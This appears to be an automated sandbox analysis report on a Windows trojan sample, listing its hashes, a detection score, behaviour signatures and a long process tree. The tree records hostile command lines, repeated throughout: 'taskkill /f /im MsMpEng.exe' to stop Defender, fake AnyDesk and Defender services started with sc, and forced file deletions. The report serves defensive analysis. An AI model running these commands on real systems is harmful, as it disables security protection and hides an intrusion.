Edit tour

Windows Analysis Report
SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe
Analysis ID:	1521703
MD5:	95408095927f78deffaeb9cb1f4cd44d
SHA1:	5e98f7cc5b8bce4dcefddc0313fe1ccc15ffe08c
SHA256:	0c7b1dafed4420aab551544f4ca8813f1556e19442f75046b00bb0c952215456
Tags:	exe
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Creates files in the system32 config directory

Drops executables to the windows directory (C:\Windows) and starts them

Excessive usage of taskkill to terminate processes

Uses taskkill to terminate AV processes

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Too many similar processes found

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe (PID: 2404 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe" MD5: 95408095927F78DEFFAEB9CB1F4CD44D)

conhost.exe (PID: 1588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3792 cmdline: C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

MicrosoftWindowsDefenderCoreService.exe (PID: 6636 cmdline: "C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe" install MD5: 9CEBC167FF7C8AE3CCFFB718FD7B52D0)

conhost.exe (PID: 2852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 7012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AnyDeskCrashHandler.exe (PID: 5996 cmdline: "C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 6636 MD5: 8EB4565C6C7096C17AC94718B2A3724B)

cmd.exe (PID: 4600 cmdline: C:\Windows\System32\cmd.exe /c sc start AnyDeskUpdateService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5660 cmdline: sc start AnyDeskUpdateService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

Conhost.exe (PID: 5164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4544 cmdline: C:\Windows\System32\cmd.exe /c sc start MicrosoftWindowsDefenderCoreService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4236 cmdline: sc start MicrosoftWindowsDefenderCoreService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

Conhost.exe (PID: 4020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AnyDeskCrashHandler.exe (PID: 6080 cmdline: "C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 2404 MD5: 8EB4565C6C7096C17AC94718B2A3724B)

cmd.exe (PID: 1484 cmdline: C:\Windows\System32\cmd.exe /c sc start AnyDeskUpdateService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 3748 cmdline: sc start AnyDeskUpdateService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 3792 cmdline: C:\Windows\System32\cmd.exe /c sc start MicrosoftWindowsDefenderCoreService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7024 cmdline: sc start MicrosoftWindowsDefenderCoreService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

MicrosoftWindowsDefenderCoreService.exe (PID: 2128 cmdline: "C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe" MD5: 9CEBC167FF7C8AE3CCFFB718FD7B52D0)

AnyDeskCrashHandler.exe (PID: 6636 cmdline: "C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 2128 MD5: 8EB4565C6C7096C17AC94718B2A3724B)

cmd.exe (PID: 6996 cmdline: C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 5948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AnyDeskUpdateService.exe (PID: 2976 cmdline: C:\Windows\System32\oobe\AnyDeskUpdateService.exe install MD5: 95408095927F78DEFFAEB9CB1F4CD44D)

cmd.exe (PID: 2732 cmdline: C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 3220 cmdline: "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 3984 cmdline: sc start AnyDeskUpdateService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 1088 cmdline: C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 4156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 3420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6628 cmdline: C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 1780 cmdline: "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5712 cmdline: sc start AnyDeskUpdateService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 3744 cmdline: C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5024 cmdline: C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AnyDeskUpdateService.exe (PID: 4892 cmdline: C:\Windows\System32\oobe\AnyDeskUpdateService.exe install MD5: 95408095927F78DEFFAEB9CB1F4CD44D)

cmd.exe (PID: 5340 cmdline: C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 572 cmdline: "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 3172 cmdline: sc start AnyDeskUpdateService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 3756 cmdline: C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 3792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3852 cmdline: C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 7012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AnyDeskUpdateService.exe (PID: 7052 cmdline: C:\Windows\System32\oobe\AnyDeskUpdateService.exe install MD5: 95408095927F78DEFFAEB9CB1F4CD44D)

cmd.exe (PID: 6324 cmdline: C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

Conhost.exe (PID: 3420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 420 cmdline: "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1600 cmdline: sc start AnyDeskUpdateService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 5748 cmdline: C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 5980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3540 cmdline: C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AnyDeskUpdateService.exe (PID: 6928 cmdline: C:\Windows\System32\oobe\AnyDeskUpdateService.exe install MD5: 95408095927F78DEFFAEB9CB1F4CD44D)

cmd.exe (PID: 6216 cmdline: C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

Conhost.exe (PID: 1112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5016 cmdline: "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5908 cmdline: sc start AnyDeskUpdateService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 4876 cmdline: C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 5564 cmdline: C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AnyDeskUpdateService.exe (PID: 4048 cmdline: C:\Windows\System32\oobe\AnyDeskUpdateService.exe install MD5: 95408095927F78DEFFAEB9CB1F4CD44D)

cmd.exe (PID: 5464 cmdline: C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 6484 cmdline: "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 3532 cmdline: sc start AnyDeskUpdateService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 6068 cmdline: C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AnyDeskUpdateService.exe (PID: 6552 cmdline: "C:\Windows\System32\oobe\AnyDeskUpdateService.exe" MD5: 95408095927F78DEFFAEB9CB1F4CD44D)

cmd.exe (PID: 3796 cmdline: C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AnyDeskCrashHandler.exe (PID: 4196 cmdline: "C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 6552 MD5: 8EB4565C6C7096C17AC94718B2A3724B)

cmd.exe (PID: 5908 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4232 cmdline: taskkill /f /im MsMpEng.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 4876 cmdline: "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 5164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AnyDeskUpdateService.exe (PID: 5908 cmdline: C:\Windows\System32\oobe\AnyDeskUpdateService.exe install MD5: 95408095927F78DEFFAEB9CB1F4CD44D)

cmd.exe (PID: 1944 cmdline: C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

Conhost.exe (PID: 5256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5656 cmdline: sc start MicrosoftWindowsDefenderCoreService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1880 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3796 cmdline: taskkill /f /im MsMpEng.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5692 cmdline: "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 3792 cmdline: sc start MicrosoftWindowsDefenderCoreService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 3748 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4072 cmdline: taskkill /f /im MsMpEng.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5916 cmdline: "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1592 cmdline: sc start MicrosoftWindowsDefenderCoreService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 1408 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 4616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1944 cmdline: taskkill /f /im MsMpEng.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

Conhost.exe (PID: 4136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1212 cmdline: "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 3404 cmdline: sc start MicrosoftWindowsDefenderCoreService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

Conhost.exe (PID: 6984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5916 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 7140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6316 cmdline: taskkill /f /im MsMpEng.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

Conhost.exe (PID: 1776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5156 cmdline: "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6248 cmdline: sc start MicrosoftWindowsDefenderCoreService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

Conhost.exe (PID: 5752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7004 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 2716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2168 cmdline: taskkill /f /im MsMpEng.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

Conhost.exe (PID: 5224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5996 cmdline: "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5320 cmdline: sc start MicrosoftWindowsDefenderCoreService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 5608 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5100 cmdline: taskkill /f /im MsMpEng.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

Conhost.exe (PID: 6788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 5564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 1428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4892 cmdline: "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 2404 cmdline: sc start MicrosoftWindowsDefenderCoreService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 1484 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4832 cmdline: taskkill /f /im MsMpEng.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5164 cmdline: "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4072 cmdline: sc start MicrosoftWindowsDefenderCoreService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 2120 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1812 cmdline: taskkill /f /im MsMpEng.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 2836 cmdline: "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 2036 cmdline: sc start MicrosoftWindowsDefenderCoreService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

Conhost.exe (PID: 6548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5036 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1132 cmdline: taskkill /f /im MsMpEng.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

Conhost.exe (PID: 1600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 6996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6212 cmdline: "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1780 cmdline: sc start MicrosoftWindowsDefenderCoreService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

Conhost.exe (PID: 2736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 1756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5156 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

